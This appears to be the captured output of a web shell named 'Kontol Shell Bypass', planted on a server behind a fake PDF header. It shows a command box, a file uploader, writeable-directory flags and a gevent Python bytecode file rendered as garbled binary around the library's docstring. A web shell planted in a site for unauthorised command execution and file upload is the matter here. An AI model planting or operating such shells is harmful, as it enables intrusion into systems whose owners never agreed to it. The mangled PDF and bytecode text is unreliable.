%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/local.cpython-39.pyc
a

�_g�S�@sNdZddlmZddlmZddlmZed�je�d<dd�e�d	<d
gZ	dZ
dd
�ZGdd�de�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Ze�Zdd�Zdd�Zhd�ZGdd
�d
e�Zd d!�Zd"d#�Zd$d%�Zejd&k�ree�e_nejd'k�r,ed(ejef��e�dd)l m!Z!e!e"�d*�d+S),aR
Greenlet-local objects.

This module is based on `_threading_local.py`__ from the standard
library of Python 3.4.

__ https://github.com/python/cpython/blob/3.4/Lib/_threading_local.py

Greenlet-local objects support the management of greenlet-local data.
If you have data that you want to be local to a greenlet, simply create
a greenlet-local object and use its attributes:

  >>> import gevent
  >>> from gevent.local import local
  >>> mydata = local()
  >>> mydata.number = 42
  >>> mydata.number
  42

You can also access the local-object's dictionary:

  >>> mydata.__dict__
  {'number': 42}
  >>> mydata.__dict__.setdefault('widgets', [])
  []
  >>> mydata.widgets
  []

What's important about greenlet-local objects is that their data are
local to a greenlet. If we access the data in a different greenlet:

  >>> log = []
  >>> def f():
  ...     items = list(mydata.__dict__.items())
  ...     items.sort()
  ...     log.append(items)
  ...     mydata.number = 11
  ...     log.append(mydata.number)
  >>> greenlet = gevent.spawn(f)
  >>> greenlet.join()
  >>> log
  [[], 11]

we get different data.  Furthermore, changes made in the other greenlet
don't affect data seen in this greenlet:

  >>> mydata.number
  42

Of course, values you get from a local object, including a __dict__
attribute, are for whatever greenlet was current at the time the
attribute was read.  For that reason, you generally don't want to save
these values across greenlets, as they apply only to the greenlet they
came from.

You can create custom local objects by subclassing the local class:

  >>> class MyLocal(local):
  ...     number = 2
  ...     initialized = False
  ...     def __init__(self, **kw):
  ...         if self.initialized:
  ...             raise SystemError('__init__ called too many times')
  ...         self.initialized = True
  ...         self.__dict__.update(kw)
  ...     def squared(self):
  ...         return self.number ** 2

This can be useful to support default values, methods and
initialization.  Note that if you define an __init__ method, it will be
called each time the local object is used in a separate greenlet.  This
is necessary to initialize each greenlet's dictionary.

Now if we create a local object:

  >>> mydata = MyLocal(color='red')

Now we have a default number:

  >>> mydata.number
  2

an initial color:

  >>> mydata.color
  'red'
  >>> del mydata.color

And a method that operates on the data:

  >>> mydata.squared()
  4

As before, we can access the data in a separate greenlet:

  >>> log = []
  >>> greenlet = gevent.spawn(f)
  >>> greenlet.join()
  >>> log
  [[('color', 'red'), ('initialized', True)], 11]

without affecting this greenlet's data:

  >>> mydata.number
  2
  >>> mydata.color
  Traceback (most recent call last):
  ...
  AttributeError: 'MyLocal' object has no attribute 'color'

Note that subclasses can define slots, but they are not greenlet
local. They are shared across greenlets::

  >>> class MyLocal(local):
  ...     __slots__ = 'number'

  >>> mydata = MyLocal()
  >>> mydata.number = 42
  >>> mydata.color = 'red'

So, the separate greenlet:

  >>> greenlet = gevent.spawn(f)
  >>> greenlet.join()

affects what we see:

  >>> mydata.number
  11

>>> del mydata

.. versionchanged:: 1.1a2
   Update the implementation to match Python 3.4 instead of Python 2.5.
   This results in locals being eligible for garbage collection as soon
   as their greenlet exits.

.. versionchanged:: 1.2.3
   Use a weak-reference to clear the greenlet link we establish in case
   the local object dies before the greenlet does.

.. versionchanged:: 1.3a1
   Implement the methods for attribute access directly, handling
   descriptors directly here. This allows removing the use of a lock
   and facilitates greatly improved performance.

.. versionchanged:: 1.3a1
   The ``__init__`` method of subclasses of ``local`` is no longer
   called with a lock held. CPython does not use such a lock in its
   native implementation. This could potentially show as a difference
   if code that uses multiple dependent attributes in ``__slots__``
   (which are shared across all greenlets) switches during ``__init__``.

�)�print_function)�copy)�ref�greenlet�
getcurrentcCsdS�N�rrr�9/vddos/python/lib/python3.9/site-packages/gevent/local.py�<lambda>��r
�
greenlet_init�localZ_gevent_local_localimpl_cCs|g}t|�}|j}|��D]\\}}|�t�s.q|�}|dur>q|j�|�}|durTq|��|usdJ�|�|j	|j
f�q|S)at
    Internal debug helper for getting the local values associated
    with a greenlet. This is subject to change or removal at any time.

    :return: A list of ((type, id), {}) pairs, where the first element
      is the type and id of the local object and the second object is its
      instance dictionary, as seen from this greenlet.

    .. versionadded:: 1.3a2
    N)�id�__dict__�items�
startswith�
key_prefix�dicts�get�
wrgreenlet�append�localtypeid�	localdict)r�result�id_greenletZ
greenlet_dict�k�vZ
local_impl�entryrrr	�all_local_dicts_for_greenlet�s
rc@seZdZdZdS)�	_wrefdictz"A dict that can be weak referencedN)�__name__�
__module__�__qualname__�__doc__rrrr	r�src@s$eZdZdZdZdd�Zdd�ZdS)�_greenlet_deletedz�
    A weakref callback for when the greenlet
    is deleted.

    If the greenlet is a `gevent.greenlet.Greenlet` and
    supplies ``rawlink``, that will be used instead of a
    weakref.
    ��idt�wrdictscCs||_||_dSrr%)�selfr&r'rrr	�__init__�sz_greenlet_deleted.__init__cCs|��}|r|�|jd�dSr)r'�popr&)r(�_unusedrrrr	�__call__�sz_greenlet_deleted.__call__N)r r!r"r#�	__slots__r)r,rrrr	r$�sr$c@s eZdZdZdd�Zdd�ZdS)�_local_deleted��key�wrthread�greenlet_deletedcCs||_||_||_dSrr/)r(r0r1r2rrr	r)�sz_local_deleted.__init__cCsF|��}|durBz
|j}Wnty,Yn0||j�|j|j=dSr)r1�unlink�AttributeErrorr2rr0)r(r+�threadr3rrr	r,�s

z_local_deleted.__call__N)r r!r"r-r)r,rrrr	r.�sr.c@seZdZdZdZdd�ZdS)�
_localimplz#A class managing thread-local dicts)r0r�	localargs�localkwargsr�__weakref__cCsJttt|��|_t�|_||_||_||f|_t	�}t
||t|��dSr)r�strrr0rrr7r8rr�_localimpl_create_dict)r(�args�kwargsZ
local_typeZid_localrrrr	r)s
z_localimpl.__init__N�r r!r"r#r-r)rrrr	r6�sr6c@seZdZdZdZdd�ZdS)�_localimpl_dict_entryz]
    The object that goes in the ``dicts`` of ``_localimpl``
    object for each thread.
    �rrcCs||_||_dSrr@)r(rrrrr	r)sz_localimpl_dict_entry.__init__Nr>rrrr	r?sr?cCs�i}|j}t|j�}t||�}t|dd�}|durD||�t|�}n
t||�}t|||�}	t||	�}
|
|j|<t||�|j|<|S)z8Create a new dict for the current thread, and return it.�rawlinkN)r0rrr$�getattrr.rr?)r(rrrr0r'r2rAr1Z
local_deletedZwrlocalrrr	r;(s





r;cCs`|j}t�}t|�}z|j|}|j}Wn2tyZt|||�}|j|ji|j	��Yn0|Sr)
�_local__implrrrr�KeyErrorr;r)r7r8)r(�implrZidgr�dctrrr	�_local_get_dictOs

rGcCs
t�dSr)rrrrr	�_init\srH>	�_local_type_del_descriptors�	__class__�	__cinit__�"_local_type_set_or_del_descriptors�_local_type_set_descriptors�_local_type�_local_type_get_descriptors�_local_type_varsrCc@sHeZdZdZeeddh�Zdd�Zdd�Zdd	�Z	d
d�Z
dd
�ZdS)r
z8
    An object whose attributes are greenlet-local.
    rJrKcOs�|s|r$t|�jtjkr$td||��t||t|�t|��}||_t|�\}}}}||_||_	||_
||_t|�|_t
t|j��|_dS)Nz*Initialization arguments are not supported)�typer)�object�	TypeErrorr6rrC�_local_find_descriptorsrOrLrIrMrN�set�dirrP)r(r<�kwrEr�delsZsets_or_dels�setsrrr	rKqs
zlocal.__cinit__cCsD|tvrt�||�St|�}|dkr(|S|jturN||vrB||St�||�S||vr�||jvrh||S||jvrz||S||jvr�t	|j|�}t
|��|||j�S||S||jv�r||jvr�t	|j|�S|j��D]6}|j
}||vr�||}t
|��|||j�}|Sq�t|jd��r,|j�||�Std|jj|f��dS)Nr�__getattr__z%r object has no attribute '%s')�_local_attrsrR�__getattribute__rGrNr
rPrOrLrBrQ�__get__�mror�hasattrrZr4r )r(�namerF�	type_attr�base�bdZattr_on_typerrrr	r\�s<

	




�zlocal.__getattribute__cCs�|dkrtdt|���|tvr2t�|||�dSt|�}|jturP|||<dS||jvr�||j	vr�t
|j|t�}t|��|||�dS|||<dS�Nrz+%r object attribute '__dict__' is read-only)
r4rQr[rR�__setattr__rGrNr
rPrMrB�_marker�__set__)r(r`�valuerFrarrr	re�s&��


zlocal.__setattr__cCs�|dkrtd|jj��||jvrN||jvrNt|j|t�}t|��	||�dSt
|�}z
||=Wntyzt|��Yn0dSrd)r4rJr rPrIrBrNrfrQ�
__delete__rGrD)r(r`rarFrrr	�__delattr__�s ��


zlocal.__delattr__cCsN|j}|jtt��}|j}t|�}t|�}||ji|j��}t	|||�|Sr)
rCrrrrrrQr7r8�_local__copy_dict_from)r(rErrF�	duplicate�cls�instancerrr	�__copy__szlocal.__copy__N)r r!r"r#�tupler[r-rKr\rerjrorrrr	r
ksVcCs@t�}t|�}|j}||us J�|j|}t|j|�|j|<dSr)rrrCrr?r)r(rErl�currentZ	currentIdZnew_implrrrr	rks
rkcCs�t|�}t�}t�}t�}t�}t|���}t|�D]~}|D]}|j}	||	vr<|	|}
qdq<t|��t|
�}t|d�r�|�|�t|d�r�|�|�|�|�t|d�r4|�|�q4||||fS)Nr]rirg)	rQrU�listr^rVrr4r_�add)r(Z	type_selfZgetsrXZ
set_or_delrYr^�	attr_namerbrc�attrrarrr	rTs,





rTcOs,tt|��|�}|j|dd�i|��|S)N�)�superr
�__new__rK)rmr<rWr(rrr	rx@srxzgevent.localzgevent._gevent_clocalzAModule names changed (local: %r; __name__: %r); revisit this code)�import_c_accelz
gevent._localN)#r#�
__future__rr�weakrefr�
__import__r�locals�__all__rr�dictrrRr$r.r6r?r;rfrGrHr[r
rkrTrxr!�classmethod�AssertionErrorr Zgevent._utilry�globalsrrrr	�<module>sD�	%
)%�

Kontol Shell Bypass